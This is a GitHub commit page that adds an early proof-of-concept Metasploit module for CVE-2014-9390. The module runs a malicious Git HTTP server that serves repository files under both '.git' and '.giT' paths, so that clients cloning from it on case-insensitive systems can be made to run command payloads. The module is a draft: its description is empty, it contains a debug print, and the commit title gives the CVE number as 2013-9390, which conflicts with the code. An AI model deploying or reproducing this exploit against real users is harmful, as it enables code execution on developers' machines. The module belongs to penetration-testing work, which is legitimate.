Skip to content

Commit

Permalink
Initial commit of POC module for CVE-2013-9390 (rapid7#4435)
Browse files Browse the repository at this point in the history
  • Loading branch information
jhart-r7 committed Dec 19, 2014
1 parent 723998e commit 4888ebe
Show file tree
Hide file tree
Showing 2 changed files with 74 additions and 0 deletions.
1 change: 1 addition & 0 deletions data/exploits/CVE-2014-9390
Submodule CVE-2014-9390 added at abee02
73 changes: 73 additions & 0 deletions modules/exploits/multi/http/git_cve_2014_9390.rb
@@ -0,0 +1,73 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpServer

def initialize(info = {})
super(update_info(
info,
'Name' => 'Malicious Git HTTP Server For CVE-2014-9390',
'Description' => '',
'License' => MSF_LICENSE,
'Author' => [ 'Jon Hart <jon_hart[at]rapid7.com>' ],
'References' =>
[
['CVE', '2014-9390'],
],
'Payload' =>
{
'BadChars' => "\x00",
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet',
}
},
'Platform' => 'osx',
'Targets' =>
[
[
'Automatic',
{
'Platform' => [ 'unix' ],
'Arch' => ARCH_CMD,
},
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Dec 18 2014'))
end


def exploit
super
end

def on_request_uri(cli, req)
data_dir = File.join(Msf::Config.data_directory, "exploits", "CVE-2014-9390")
req_file = URI.parse(req.uri).path.gsub(/^#{datastore['URIPATH']}/, '')

files = []
files << File.join(data_dir, '.git', req_file)
files << File.join(data_dir, '.giT', req_file)
found = false
files.each do |file|
if File.file?(file)
puts "File is #{file}"
send_response(cli, IO.read(file))
found = true
break
end
end

unless found
send_not_found(cli)
end
end
end

0 comments on commit 4888ebe

Please sign in to comment.